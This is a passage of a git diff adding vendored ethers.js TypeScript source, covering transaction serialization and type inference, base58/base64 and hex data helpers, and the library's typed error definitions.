this.#blobVersionedHashes = versionedHashes; + } + + get kzg(): null | KzgLibrary { return this.#kzg; } + set kzg(kzg: null | KzgLibraryLike) { + if (kzg == null) { + this.#kzg = null; + } else { + this.#kzg = getKzgLibrary(kzg); + } + } + + /** + * Creates a new Transaction with default values. + */ + constructor() { + this.#type = null; + this.#to = null; + this.#nonce = 0; + this.#gasLimit = BN_0; + this.#gasPrice = null; + this.#maxPriorityFeePerGas = null; + this.#maxFeePerGas = null; + this.#data = "0x"; + this.#value = BN_0; + this.#chainId = BN_0; + this.#sig = null; + this.#accessList = null; + this.#maxFeePerBlobGas = null; + this.#blobVersionedHashes = null; + this.#kzg = null; + this.#blobs = null; + this.#auths = null; + } + + /** + * The transaction hash, if signed. Otherwise, ``null``. + */ + get hash(): null | string { + if (this.signature == null) { return null; } + return keccak256(this.#getSerialized(true, false)); + } + + /** + * The pre-image hash of this transaction. + * + * This is the digest that a [[Signer]] must sign to authorize + * this transaction. + */ + get unsignedHash(): string { + return keccak256(this.unsignedSerialized); + } + + /** + * The sending address, if signed. Otherwise, ``null``. + */ + get from(): null | string { + if (this.signature == null) { return null; } + return recoverAddress(this.unsignedHash, this.signature); + } + + /** + * The public key of the sender, if signed. Otherwise, ``null``. + */ + get fromPublicKey(): null | string { + if (this.signature == null) { return null; } + return SigningKey.recoverPublicKey(this.unsignedHash, this.signature); + } + + /** + * Returns true if signed. + * + * This provides a Type Guard that properties requiring a signed + * transaction are non-null. + */ + isSigned(): this is (Transaction & { type: number, typeName: string, from: string, signature: Signature }) { + return this.signature != null; + } + + #getSerialized(signed: boolean, sidecar: boolean): string { + assert(!signed || this.signature != null, "cannot serialize unsigned transaction; maybe you meant .unsignedSerialized", "UNSUPPORTED_OPERATION", { operation: ".serialized"}); + + const sig = signed ? this.signature: null; + switch (this.inferType()) { + case 0: + return _serializeLegacy(this, sig); + case 1: + return _serializeEip2930(this, sig); + case 2: + return _serializeEip1559(this, sig); + case 3: + return _serializeEip4844(this, sig, sidecar ? this.blobs: null); + case 4: + return _serializeEip7702(this, sig); + } + + assert(false, "unsupported transaction type", "UNSUPPORTED_OPERATION", { operation: ".serialized" }); + } + + /** + * The serialized transaction. + * + * This throws if the transaction is unsigned. For the pre-image, + * use [[unsignedSerialized]]. + */ + get serialized(): string { + return this.#getSerialized(true, true); + } + + /** + * The transaction pre-image. + * + * The hash of this is the digest which needs to be signed to + * authorize this transaction. + */ + get unsignedSerialized(): string { + return this.#getSerialized(false, false); + } + + /** + * Return the most "likely" type; currently the highest + * supported transaction type. + */ + inferType(): number { + const types = this.inferTypes(); + + // Prefer London (EIP-1559) over Cancun (BLOb) + if (types.indexOf(2) >= 0) { return 2; } + + // Return the highest inferred type + return (types.pop()); + } + + /** + * Validates the explicit properties and returns a list of compatible + * transaction types. + */ + inferTypes(): Array { + + // Checks that there are no conflicting properties set + const hasGasPrice = this.gasPrice != null; + const hasFee = (this.maxFeePerGas != null || this.maxPriorityFeePerGas != null); + const hasAccessList = (this.accessList != null); + const hasBlob = (this.#maxFeePerBlobGas != null || this.#blobVersionedHashes); + + //if (hasGasPrice && hasFee) { + // throw new Error("transaction cannot have gasPrice and maxFeePerGas"); + //} + + if (this.maxFeePerGas != null && this.maxPriorityFeePerGas != null) { + assert(this.maxFeePerGas >= this.maxPriorityFeePerGas, "priorityFee cannot be more than maxFee", "BAD_DATA", { value: this }); + } + + //if (this.type === 2 && hasGasPrice) { + // throw new Error("eip-1559 transaction cannot have gasPrice"); + //} + + assert(!hasFee || (this.type !== 0 && this.type !== 1), "transaction type cannot have maxFeePerGas or maxPriorityFeePerGas", "BAD_DATA", { value: this }); + assert(this.type !== 0 || !hasAccessList, "legacy transaction cannot have accessList", "BAD_DATA", { value: this }) + + const types: Array = [ ]; + + // Explicit type + if (this.type != null) { + types.push(this.type); + + } else { + if (this.authorizationList && this.authorizationList.length) { + types.push(4); + } else if (hasFee) { + types.push(2); + } else if (hasGasPrice) { + types.push(1); + if (!hasAccessList) { types.push(0); } + } else if (hasAccessList) { + types.push(1); + types.push(2); + } else if (hasBlob && this.to) { + types.push(3); + } else { + types.push(0); + types.push(1); + types.push(2); + types.push(3); + } + } + + types.sort(); + + return types; + } + + /** + * Returns true if this transaction is a legacy transaction (i.e. + * ``type === 0``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isLegacy(): this is (Transaction & { type: 0, gasPrice: bigint }) { + return (this.type === 0); + } + + /** + * Returns true if this transaction is berlin hardform transaction (i.e. + * ``type === 1``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isBerlin(): this is (Transaction & { type: 1, gasPrice: bigint, accessList: AccessList }) { + return (this.type === 1); + } + + /** + * Returns true if this transaction is london hardform transaction (i.e. + * ``type === 2``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isLondon(): this is (Transaction & { type: 2, accessList: AccessList, maxFeePerGas: bigint, maxPriorityFeePerGas: bigint }) { + return (this.type === 2); + } + + /** + * Returns true if this transaction is an [[link-eip-4844]] BLOB + * transaction. + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isCancun(): this is (Transaction & { type: 3, to: string, accessList: AccessList, maxFeePerGas: bigint, maxPriorityFeePerGas: bigint, maxFeePerBlobGas: bigint, blobVersionedHashes: Array }) { + return (this.type === 3); + } + + /** + * Create a copy of this transaciton. + */ + clone(): Transaction { + return Transaction.from(this); + } + + /** + * Return a JSON-friendly object. + */ + toJSON(): any { + const s = (v: null | bigint) => { + if (v == null) { return null; } + return v.toString(); + }; + + return { + type: this.type, + to: this.to, +// from: this.from, + data: this.data, + nonce: this.nonce, + gasLimit: s(this.gasLimit), + gasPrice: s(this.gasPrice), + maxPriorityFeePerGas: s(this.maxPriorityFeePerGas), + maxFeePerGas: s(this.maxFeePerGas), + value: s(this.value), + chainId: s(this.chainId), + sig: this.signature ? this.signature.toJSON(): null, + accessList: this.accessList + }; + } + + /** + * Create a **Transaction** from a serialized transaction or a + * Transaction-like object. + */ + static from(tx?: string | TransactionLike): Transaction { + if (tx == null) { return new Transaction(); } + + if (typeof(tx) === "string") { + const payload = getBytes(tx); + + if (payload[0] >= 0x7f) { // @TODO: > vs >= ?? + return Transaction.from(_parseLegacy(payload)); + } + + switch(payload[0]) { + case 1: return Transaction.from(_parseEip2930(payload)); + case 2: return Transaction.from(_parseEip1559(payload)); + case 3: return Transaction.from(_parseEip4844(payload)); + case 4: return Transaction.from(_parseEip7702(payload)); + } + assert(false, "unsupported transaction type", "UNSUPPORTED_OPERATION", { operation: "from" }); + } + + const result = new Transaction(); + if (tx.type != null) { result.type = tx.type; } + if (tx.to != null) { result.to = tx.to; } + if (tx.nonce != null) { result.nonce = tx.nonce; } + if (tx.gasLimit != null) { result.gasLimit = tx.gasLimit; } + if (tx.gasPrice != null) { result.gasPrice = tx.gasPrice; } + if (tx.maxPriorityFeePerGas != null) { result.maxPriorityFeePerGas = tx.maxPriorityFeePerGas; } + if (tx.maxFeePerGas != null) { result.maxFeePerGas = tx.maxFeePerGas; } + if (tx.maxFeePerBlobGas != null) { result.maxFeePerBlobGas = tx.maxFeePerBlobGas; } + if (tx.data != null) { result.data = tx.data; } + if (tx.value != null) { result.value = tx.value; } + if (tx.chainId != null) { result.chainId = tx.chainId; } + if (tx.signature != null) { result.signature = Signature.from(tx.signature); } + if (tx.accessList != null) { result.accessList = tx.accessList; } + if (tx.authorizationList != null) { + result.authorizationList = tx.authorizationList; + } + + // This will get overwritten by blobs, if present + if (tx.blobVersionedHashes != null) { result.blobVersionedHashes = tx.blobVersionedHashes; } + + // Make sure we assign the kzg before assigning blobs, which + // require the library in the event raw blob data is provided. + if (tx.kzg != null) { result.kzg = tx.kzg; } + if (tx.blobs != null) { result.blobs = tx.blobs; } + + if (tx.hash != null) { + assertArgument(result.isSigned(), "unsigned transaction cannot define '.hash'", "tx", tx); + assertArgument(result.hash === tx.hash, "hash mismatch", "tx", tx); + } + + if (tx.from != null) { + assertArgument(result.isSigned(), "unsigned transaction cannot define '.from'", "tx", tx); + assertArgument(result.from.toLowerCase() === (tx.from || "").toLowerCase(), "from mismatch", "tx", tx); + } + + return result; + } +} diff --git a/node_modules/ethers/src.ts/utils/base58.ts b/node_modules/ethers/src.ts/utils/base58.ts new file mode 100644 index 000000000000..b71f99d3775d --- /dev/null +++ b/node_modules/ethers/src.ts/utils/base58.ts @@ -0,0 +1,73 @@ +/** + * The [Base58 Encoding](link-base58) scheme allows a **numeric** value + * to be encoded as a compact string using a radix of 58 using only + * alpha-numeric characters. Confusingly similar characters are omitted + * (i.e. ``"l0O"``). + * + * Note that Base58 encodes a **numeric** value, not arbitrary bytes, + * since any zero-bytes on the left would get removed. To mitigate this + * issue most schemes that use Base58 choose specific high-order values + * to ensure non-zero prefixes. + * + * @_subsection: api/utils:Base58 Encoding [about-base58] + */ + +import { getBytes } from "./data.js"; +import { assertArgument } from "./errors.js"; +import { toBigInt } from "./maths.js"; + +import type { BytesLike } from "./index.js"; + + +const Alphabet = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; +let Lookup: null | Record = null; + +function getAlpha(letter: string): bigint { + if (Lookup == null) { + Lookup = { }; + for (let i = 0; i < Alphabet.length; i++) { + Lookup[Alphabet[i]] = BigInt(i); + } + } + const result = Lookup[letter]; + assertArgument(result != null, `invalid base58 value`, "letter", letter); + return result; +} + + +const BN_0 = BigInt(0); +const BN_58 = BigInt(58); + +/** + * Encode %%value%% as a Base58-encoded string. + */ +export function encodeBase58(_value: BytesLike): string { + const bytes = getBytes(_value); + + let value = toBigInt(bytes); + let result = ""; + while (value) { + result = Alphabet[Number(value % BN_58)] + result; + value /= BN_58; + } + + // Account for leading padding zeros + for (let i = 0; i < bytes.length; i++) { + if (bytes[i]) { break; } + result = Alphabet[0] + result; + } + + return result; +} + +/** + * Decode the Base58-encoded %%value%%. + */ +export function decodeBase58(value: string): bigint { + let result = BN_0; + for (let i = 0; i < value.length; i++) { + result *= BN_58; + result += getAlpha(value[i]); + } + return result; +} diff --git a/node_modules/ethers/src.ts/utils/base64-browser.ts b/node_modules/ethers/src.ts/utils/base64-browser.ts new file mode 100644 index 000000000000..656012a2421c --- /dev/null +++ b/node_modules/ethers/src.ts/utils/base64-browser.ts @@ -0,0 +1,25 @@ + +// utils/base64-browser + +import { getBytes } from "./data.js"; + +import type { BytesLike } from "./data.js"; + + +export function decodeBase64(textData: string): Uint8Array { + textData = atob(textData); + const data = new Uint8Array(textData.length); + for (let i = 0; i < textData.length; i++) { + data[i] = textData.charCodeAt(i); + } + return getBytes(data); +} + +export function encodeBase64(_data: BytesLike): string { + const data = getBytes(_data); + let textData = ""; + for (let i = 0; i < data.length; i++) { + textData += String.fromCharCode(data[i]); + } + return btoa(textData); +} diff --git a/node_modules/ethers/src.ts/utils/base64.ts b/node_modules/ethers/src.ts/utils/base64.ts new file mode 100644 index 000000000000..62778cfb237d --- /dev/null +++ b/node_modules/ethers/src.ts/utils/base64.ts @@ -0,0 +1,56 @@ +/** + * [Base64 encoding](link-wiki-base64) using 6-bit words to encode + * arbitrary bytes into a string using 65 printable symbols, the + * upper-case and lower-case alphabet, the digits ``0`` through ``9``, + * ``"+"`` and ``"/"`` with the ``"="`` used for padding. + * + * @_subsection: api/utils:Base64 Encoding [about-base64] + */ +import { getBytes, getBytesCopy } from "./data.js"; + +import type { BytesLike } from "./data.js"; + + +/** + * Decodes the base-64 encoded %%value%%. + * + * @example: + * // The decoded value is always binary data... + * result = decodeBase64("SGVsbG8gV29ybGQhIQ==") + * //_result: + * + * // ...use toUtf8String to convert it to a string. + * toUtf8String(result) + * //_result: + * + * // Decoding binary data + * decodeBase64("EjQ=") + * //_result: + */ +export function decodeBase64(value: string): Uint8Array { + return getBytesCopy(Buffer.from(value, "base64")); +}; + +/** + * Encodes %%data%% as a base-64 encoded string. + * + * @example: + * // Encoding binary data as a hexstring + * encodeBase64("0x1234") + * //_result: + * + * // Encoding binary data as a Uint8Array + * encodeBase64(new Uint8Array([ 0x12, 0x34 ])) + * //_result: + * + * // The input MUST be data... + * encodeBase64("Hello World!!") + * //_error: + * + * // ...use toUtf8Bytes for this. + * encodeBase64(toUtf8Bytes("Hello World!!")) + * //_result: + */ +export function encodeBase64(data: BytesLike): string { + return Buffer.from(getBytes(data)).toString("base64"); +} diff --git a/node_modules/ethers/src.ts/utils/data.ts b/node_modules/ethers/src.ts/utils/data.ts new file mode 100644 index 000000000000..fd0c7a5e13ac --- /dev/null +++ b/node_modules/ethers/src.ts/utils/data.ts @@ -0,0 +1,199 @@ +/** + * Some data helpers. + * + * + * @_subsection api/utils:Data Helpers [about-data] + */ +import { assert, assertArgument } from "./errors.js"; + +/** + * A [[HexString]] whose length is even, which ensures it is a valid + * representation of binary data. + */ +export type DataHexString = string; + +/** + * A string which is prefixed with ``0x`` and followed by any number + * of case-agnostic hexadecimal characters. + * + * It must match the regular expression ``/0x[0-9A-Fa-f]*\/``. + */ +export type HexString = string; + +/** + * An object that can be used to represent binary data. + */ +export type BytesLike = DataHexString | Uint8Array; + +function _getBytes(value: BytesLike, name?: string, copy?: boolean): Uint8Array { + if (value instanceof Uint8Array) { + if (copy) { return new Uint8Array(value); } + return value; + } + + if (typeof(value) === "string" && value.match(/^0x(?:[0-9a-f][0-9a-f])*$/i)) { + const result = new Uint8Array((value.length - 2) / 2); + let offset = 2; + for (let i = 0; i < result.length; i++) { + result[i] = parseInt(value.substring(offset, offset + 2), 16); + offset += 2; + } + return result; + } + + assertArgument(false, "invalid BytesLike value", name || "value", value); +} + +/** + * Get a typed Uint8Array for %%value%%. If already a Uint8Array + * the original %%value%% is returned; if a copy is required use + * [[getBytesCopy]]. + * + * @see: getBytesCopy + */ +export function getBytes(value: BytesLike, name?: string): Uint8Array { + return _getBytes(value, name, false); +} + +/** + * Get a typed Uint8Array for %%value%%, creating a copy if necessary + * to prevent any modifications of the returned value from being + * reflected elsewhere. + * + * @see: getBytes + */ +export function getBytesCopy(value: BytesLike, name?: string): Uint8Array { + return _getBytes(value, name, true); +} + + +/** + * Returns true if %%value%% is a valid [[HexString]]. + * + * If %%length%% is ``true`` or a //number//, it also checks that + * %%value%% is a valid [[DataHexString]] of %%length%% (if a //number//) + * bytes of data (e.g. ``0x1234`` is 2 bytes). + */ +export function isHexString(value: any, length?: number | boolean): value is `0x${ string }` { + if (typeof(value) !== "string" || !value.match(/^0x[0-9A-Fa-f]*$/)) { + return false + } + + if (typeof(length) === "number" && value.length !== 2 + 2 * length) { return false; } + if (length === true && (value.length % 2) !== 0) { return false; } + + return true; +} + +/** + * Returns true if %%value%% is a valid representation of arbitrary + * data (i.e. a valid [[DataHexString]] or a Uint8Array). + */ +export function isBytesLike(value: any): value is BytesLike { + return (isHexString(value, true) || (value instanceof Uint8Array)); +} + +const HexCharacters: string = "0123456789abcdef"; + +/** + * Returns a [[DataHexString]] representation of %%data%%. + */ +export function hexlify(data: BytesLike): string { + const bytes = getBytes(data); + + let result = "0x"; + for (let i = 0; i < bytes.length; i++) { + const v = bytes[i]; + result += HexCharacters[(v & 0xf0) >> 4] + HexCharacters[v & 0x0f]; + } + return result; +} + +/** + * Returns a [[DataHexString]] by concatenating all values + * within %%data%%. + */ +export function concat(datas: ReadonlyArray): string { + return "0x" + datas.map((d) => hexlify(d).substring(2)).join(""); +} + +/** + * Returns the length of %%data%%, in bytes. + */ +export function dataLength(data: BytesLike): number { + if (isHexString(data, true)) { return (data.length - 2) / 2; } + return getBytes(data).length; +} + +/** + * Returns a [[DataHexString]] by slicing %%data%% from the %%start%% + * offset to the %%end%% offset. + * + * By default %%start%% is 0 and %%end%% is the length of %%data%%. + */ +export function dataSlice(data: BytesLike, start?: number, end?: number): string { + const bytes = getBytes(data); + if (end != null && end > bytes.length) { + assert(false, "cannot slice beyond data bounds", "BUFFER_OVERRUN", { + buffer: bytes, length: bytes.length, offset: end + }); + } + return hexlify(bytes.slice((start == null) ? 0: start, (end == null) ? bytes.length: end)); +} + +/** + * Return the [[DataHexString]] result by stripping all **leading** + ** zero bytes from %%data%%. + */ +export function stripZerosLeft(data: BytesLike): string { + let bytes = hexlify(data).substring(2); + while (bytes.startsWith("00")) { bytes = bytes.substring(2); } + return "0x" + bytes; +} + +function zeroPad(data: BytesLike, length: number, left: boolean): string { + const bytes = getBytes(data); + assert(length >= bytes.length, "padding exceeds data length", "BUFFER_OVERRUN", { + buffer: new Uint8Array(bytes), + length: length, + offset: length + 1 + }); + + const result = new Uint8Array(length); + result.fill(0); + if (left) { + result.set(bytes, length - bytes.length); + } else { + result.set(bytes, 0); + } + + return hexlify(result); +} + +/** + * Return the [[DataHexString]] of %%data%% padded on the **left** + * to %%length%% bytes. + * + * If %%data%% already exceeds %%length%%, a [[BufferOverrunError]] is + * thrown. + * + * This pads data the same as **values** are in Solidity + * (e.g. ``uint128``). + */ +export function zeroPadValue(data: BytesLike, length: number): string { + return zeroPad(data, length, true); +} + +/** + * Return the [[DataHexString]] of %%data%% padded on the **right** + * to %%length%% bytes. + * + * If %%data%% already exceeds %%length%%, a [[BufferOverrunError]] is + * thrown. + * + * This pads data the same as **bytes** are in Solidity + * (e.g. ``bytes16``). + */ +export function zeroPadBytes(data: BytesLike, length: number): string { + return zeroPad(data, length, false); +} diff --git a/node_modules/ethers/src.ts/utils/errors.ts b/node_modules/ethers/src.ts/utils/errors.ts new file mode 100644 index 000000000000..8546d6bb43ef --- /dev/null +++ b/node_modules/ethers/src.ts/utils/errors.ts @@ -0,0 +1,797 @@ +/** + * All errors in ethers include properties to ensure they are both + * human-readable (i.e. ``.message``) and machine-readable (i.e. ``.code``). + * + * The [[isError]] function can be used to check the error ``code`` and + * provide a type guard for the properties present on that error interface. + * + * @_section: api/utils/errors:Errors [about-errors] + */ + +import { version } from "../_version.js"; + +import { defineProperties } from "./properties.js"; + +import type { + TransactionRequest, TransactionReceipt, TransactionResponse +} from "../providers/index.js"; + +import type { FetchRequest, FetchResponse } from "./fetch.js"; + +/** + * An error may contain additional properties, but those must not + * conflict with any implicit properties. + */ +export type ErrorInfo = Omit & { shortMessage?: string }; + + +function stringify(value: any, seen?: Set): any { + if (value == null) { return "null"; } + + if (seen == null) { seen = new Set(); } + if (typeof(value) === "object") { + if (seen.has(value)) { return "[Circular]"; } + seen.add(value); + } + + if (Array.isArray(value)) { + return "[ " + (value.map((v) => stringify(v, seen))).join(", ") + " ]"; + } + + if (value instanceof Uint8Array) { + const HEX = "0123456789abcdef"; + let result = "0x"; + for (let i = 0; i < value.length; i++) { + result += HEX[value[i] >> 4]; + result += HEX[value[i] & 0xf]; + } + return result; + } + + if (typeof(value) === "object" && typeof(value.toJSON) === "function") { + return stringify(value.toJSON(), seen); + } + + switch (typeof(value)) { + case "boolean": case "number": case "symbol": + return value.toString(); + case "bigint": + return BigInt(value).toString(); + case "string": + return JSON.stringify(value); + case "object": { + const keys = Object.keys(value); + keys.sort(); + return "{ " + keys.map((k) => `${ stringify(k, seen) }: ${ stringify(value[k], seen) }`).join(", ") + " }"; + } + } + + return `[ COULD NOT SERIALIZE ]`; +} + +/** + * All errors emitted by ethers have an **ErrorCode** to help + * identify and coalesce errors to simplify programmatic analysis. + * + * Each **ErrorCode** is the %%code%% proerty of a coresponding + * [[EthersError]]. + * + * **Generic Errors** + * + * **``"UNKNOWN_ERROR"``** - see [[UnknownError]] + * + * **``"NOT_IMPLEMENTED"``** - see [[NotImplementedError]] + * + * **``"UNSUPPORTED_OPERATION"``** - see [[UnsupportedOperationError]] + * + * **``"NETWORK_ERROR"``** - see [[NetworkError]] + * + * **``"SERVER_ERROR"``** - see [[ServerError]] + * + * **``"TIMEOUT"``** - see [[TimeoutError]] + * + * **``"BAD_DATA"``** - see [[BadDataError]] + * + * **``"CANCELLED"``** - see [[CancelledError]] + * + * **Operational Errors** + * + * **``"BUFFER_OVERRUN"``** - see [[BufferOverrunError]] + * + * **``"NUMERIC_FAULT"``** - see [[NumericFaultError]] + * + * **Argument Errors** + * + * **``"INVALID_ARGUMENT"``** - see [[InvalidArgumentError]] + * + * **``"MISSING_ARGUMENT"``** - see [[MissingArgumentError]] + * + * **``"UNEXPECTED_ARGUMENT"``** - see [[UnexpectedArgumentError]] + * + * **``"VALUE_MISMATCH"``** - //unused// + * + * **Blockchain Errors** + * + * **``"CALL_EXCEPTION"``** - see [[CallExceptionError]] + * + * **``"INSUFFICIENT_FUNDS"``** - see [[InsufficientFundsError]] + * + * **``"NONCE_EXPIRED"``** - see [[NonceExpiredError]] + * + * **``"REPLACEMENT_UNDERPRICED"``** - see [[ReplacementUnderpricedError]] + * + * **``"TRANSACTION_REPLACED"``** - see [[TransactionReplacedError]] + * + * **``"UNCONFIGURED_NAME"``** - see [[UnconfiguredNameError]] + * + * **``"OFFCHAIN_FAULT"``** - see [[OffchainFaultError]] + * + * **User Interaction Errors** + * + * **``"ACTION_REJECTED"``** - see [[ActionRejectedError]] + */ +export type ErrorCode = + + // Generic Errors + "UNKNOWN_ERROR" | "NOT_IMPLEMENTED" | "UNSUPPORTED_OPERATION" | + "NETWORK_ERROR" | "SERVER_ERROR" | "TIMEOUT" | "BAD_DATA" | + "CANCELLED" | + + // Operational Errors + "BUFFER_OVERRUN" | "NUMERIC_FAULT" | + + // Argument Errors + "INVALID_ARGUMENT" | "MISSING_ARGUMENT" | "UNEXPECTED_ARGUMENT" | + "VALUE_MISMATCH" | + + // Blockchain Errors + "CALL_EXCEPTION" | "INSUFFICIENT_FUNDS" | "NONCE_EXPIRED" | + "REPLACEMENT_UNDERPRICED" | "TRANSACTION_REPLACED" | + "UNCONFIGURED_NAME" | "OFFCHAIN_FAULT" | + + // User Interaction + "ACTION_REJECTED" +; + +/** + * All errors in Ethers include properties to assist in + * machine-readable errors. + */ +export interface EthersError extends Error { + /** + * The string error code. + */ + code: ErrorCode; + + /** + * A short message describing the error, with minimal additional + * details. + */ + shortMessage: string; + + /** + * Additional info regarding the error that may be useful. + * + * This is generally helpful mostly for human-based debugging. + */ + info?: Record; + + /** + * Any related error. + */ + error?: Error; +} + +// Generic Errors + +/** + * This Error is a catch-all for when there is no way for Ethers to + * know what the underlying problem is. + */ +export interface UnknownError extends EthersError<"UNKNOWN_ERROR"> { + [ key: string ]: any; +} + +/** + * This Error is mostly used as a stub for functionality that is + * intended for the future, but is currently not implemented. + */ +export interface NotImplementedError extends EthersError<"NOT_IMPLEMENTED"> { + /** + * The attempted operation. + */ + operation: string; +} + +/** + * This Error indicates that the attempted operation is not supported. + * + * This could range from a specific JSON-RPC end-point not supporting + * a feature to a specific configuration of an object prohibiting the + * operation. + * + * For example, a [[Wallet]] with no connected [[Provider]] is unable + * to send a transaction. + */ +export interface UnsupportedOperationError extends EthersError<"UNSUPPORTED_OPERATION"> { + /** + * The attempted operation. + */ + operation: string; +} + +/** + * This Error indicates a problem connecting to a network. + */ +export interface NetworkError extends EthersError<"NETWORK_ERROR"> { + /** + * The network event. + */ + event: string; +} + +/** + * This Error indicates there was a problem fetching a resource from + * a server. + */ +export interface ServerError extends EthersError<"SERVER_ERROR"> { + /** + * The requested resource. + */ + request: FetchRequest | string; + + /** + * The response received from the server, if available. + */ + response?: FetchResponse; +} + +/** + * This Error indicates that the timeout duration has expired and + * that the operation has been implicitly cancelled. + * + * The side-effect of the operation may still occur, as this + * generally means a request has been sent and there has simply + * been no response to indicate whether it was processed or not. + */ +export interface TimeoutError extends EthersError<"TIMEOUT"> { + /** + * The attempted operation. + */ + operation: string; + + /** + * The reason. + */ + reason: string; + + /** + * The resource request, if available. + */ + request?: FetchRequest; +} + +/** + * This Error indicates that a provided set of data cannot + * be correctly interpreted. + */ +export interface BadDataError extends EthersError<"BAD_DATA"> { + /** + * The data. + */ + value: any; +} + +/** + * This Error indicates that the operation was cancelled by a + * programmatic call, for example to ``cancel()``. + */ +export interface CancelledError extends EthersError<"CANCELLED"> { +} + + +// Operational Errors + +/** + * This Error indicates an attempt was made to read outside the bounds + * of protected data. + * + * Most operations in Ethers are protected by bounds checks, to mitigate + * exploits when parsing data. + */ +export interface BufferOverrunError extends EthersError<"BUFFER_OVERRUN"> { + /** + * The buffer that was overrun. + */ + buffer: Uint8Array; + + /** + * The length of the buffer. + */ + length: number; + + /** + * The offset that was requested. + */ + offset: number; +} + +/** + * This Error indicates an operation which would result in incorrect + * arithmetic output has occurred. + * + * For example, trying to divide by zero or using a ``uint8`` to store + * a negative value. + */ +export interface NumericFaultError extends EthersError<"NUMERIC_FAULT"> { + /** + * The attempted operation. + */ + operation: string; + + /** + * The fault reported. + */ + fault: string; + + /** + * The value the operation was attempted against. + */ + value: any; +} + + +// Argument Errors + +/** + * This Error indicates an incorrect type or value was passed to + * a function or method. + */ +export interface InvalidArgumentError extends EthersError<"INVALID_ARGUMENT"> { + /** + * The name of the argument. + */ + argument: string; + + /** + * The value that was provided. + */ + value: any; + + info?: Record +} + +/** + * This Error indicates there were too few arguments were provided. + */ +export interface MissingArgumentError extends EthersError<"MISSING_ARGUMENT"> { + /** + * The number of arguments received. + */ + count: number; + + /** + * The number of arguments expected. + */ + expectedCount: number; +} + +/** + * This Error indicates too many arguments were provided. + */ +export interface UnexpectedArgumentError extends EthersError<"UNEXPECTED_ARGUMENT"> { + /** + * The number of arguments received. + */ + count: number; + + /** + * The number of arguments expected. + */ + expectedCount: number; +} + + +// Blockchain Errors + +/** + * The action that resulted in the call exception. + */ +export type CallExceptionAction = "call" | "estimateGas" | "getTransactionResult" | "sendTransaction" | "unknown"; + +/** + * The related transaction that caused the error. + */ +export type CallExceptionTransaction = { + to: null | string; + from?: string; + data: string; +}; + +/** + * This **Error** indicates a transaction reverted. + */ +export interface CallExceptionError extends EthersError<"CALL_EXCEPTION"> { + + /** + * The action being performed when the revert was encountered. + */ + action: CallExceptionAction; + + /** + * The revert data returned. + */ + data: null | string; + + /** + * A human-readable representation of data, if possible. + */ + reason: null | string; + + /** + * The transaction that triggered the exception. + */ + transaction: CallExceptionTransaction, + + /** + * The contract invocation details, if available. + */ + invocation: null | { + method: string; + signature: string; + args: Array; + } + + /** + * The built-in or custom revert error, if available + */ + revert: null | { + signature: string; + name: string; + args: Array; + } + + /** + * If the error occurred in a transaction that was mined + * (with a status of ``0``), this is the receipt. + */ + receipt?: TransactionReceipt; // @TODO: in v7, make this `null | TransactionReceipt` +} + + +/** + * The sending account has insufficient funds to cover the + * entire transaction cost. + */ +export interface InsufficientFundsError extends EthersError<"INSUFFICIENT_FUNDS"> { + /** + * The transaction. + */ + transaction: TransactionRequest; +} + +/** + * The sending account has already used this nonce in a + * transaction that has been included. + */ +export interface NonceExpiredError extends EthersError<"NONCE_EXPIRED"> { + /** + * The transaction. + */ + transaction: TransactionRequest; +} + +/** + * A CCIP-read exception, which cannot be recovered from or + * be further processed. + */ +export interface OffchainFaultError extends EthersError<"OFFCHAIN_FAULT"> { + /** + * The transaction. + */ + transaction?: TransactionRequest; + + /** + * The reason the CCIP-read failed. + */ + reason: string; +} + +/** + * An attempt was made to replace a transaction, but with an + * insufficient additional fee to afford evicting the old + * transaction from the memory pool. + */ +export interface ReplacementUnderpricedError extends EthersError<"REPLACEMENT_UNDERPRICED"> { + /** + * The transaction. + */ + transaction: TransactionRequest; +} + +/** + * A pending transaction was replaced by another. + */ +export interface TransactionReplacedError extends EthersError<"TRANSACTION_REPLACED"> { + /** + * If the transaction was cancelled, such that the original + * effects of the transaction cannot be assured. + */ + cancelled: boolean; + + /** + * The reason the transaction was replaced. + */ + reason: "repriced" | "cancelled" | "replaced"; + + /** + * The hash of the replaced transaction. + */ + hash: string; + + /** + * The transaction that replaced the transaction. + */ + replacement: TransactionResponse; + + /** + * The receipt of the transaction that replace the transaction. + */ + receipt: TransactionReceipt; +} + +/** + * This Error indicates an ENS name was used, but the name has not + * been configured. + * + * This could indicate an ENS name is unowned or that the current + * address being pointed to is the [[ZeroAddress]]. + */ +export interface UnconfiguredNameError extends EthersError<"UNCONFIGURED_NAME"> { + /** + * The ENS name that was requested + */ + value: string; +} + +/** + * This Error indicates a request was rejected by the user. + * + * In most clients (such as MetaMask), when an operation requires user + * authorization (such as ``signer.sendTransaction``), the client + * presents a dialog box to the user. If the user denies the request + * this error is thrown. + */ +export interface ActionRejectedError extends EthersError<"ACTION_REJECTED"> { + /** + * The requested action. + */ + action: "requestAccess" | "sendTransaction" | "signMessage" | "signTransaction" | "signTypedData" | "unknown", + + /** + * The reason the action was rejected. + * + * If there is already a pending request, some clients may indicate + * there is already a ``"pending"`` action. This prevents an app + * from spamming the user. + */ + reason: "expired" | "rejected" | "pending" +} + +// Coding; converts an ErrorCode its Typed Error + +/** + * A conditional type that transforms the [[ErrorCode]] T into + * its EthersError type. + * + * @flatworm-skip-docs + */ +export type CodedEthersError = + T extends "UNKNOWN_ERROR" ? UnknownError: + T extends "NOT_IMPLEMENTED" ? NotImplementedError: + T extends "UNSUPPORTED_OPERATION" ? UnsupportedOperationError: + T extends "NETWORK_ERROR" ? NetworkError: + T extends "SERVER_ERROR" ? ServerError: + T extends "TIMEOUT" ? TimeoutError: + T extends "BAD_DATA" ? BadDataError: + T extends "CANCELLED" ? CancelledError: + + T extends "BUFFER_OVERRUN" ? BufferOverrunError: + T extends "NUMERIC_FAULT" ? NumericFaultError: + + T extends "INVALID_ARGUMENT" ? InvalidArgumentError: + T extends "MISSING_ARGUMENT" ? MissingArgumentError: + T extends "UNEXPECTED_ARGUMENT" ? UnexpectedArgumentError: + + T extends "CALL_EXCEPTION" ? CallExceptionError: + T extends "INSUFFICIENT_FUNDS" ? InsufficientFundsError: + T extends "NONCE_EXPIRED" ? NonceExpiredError: + T extends "OFFCHAIN_FAULT" ? OffchainFaultError: + T extends 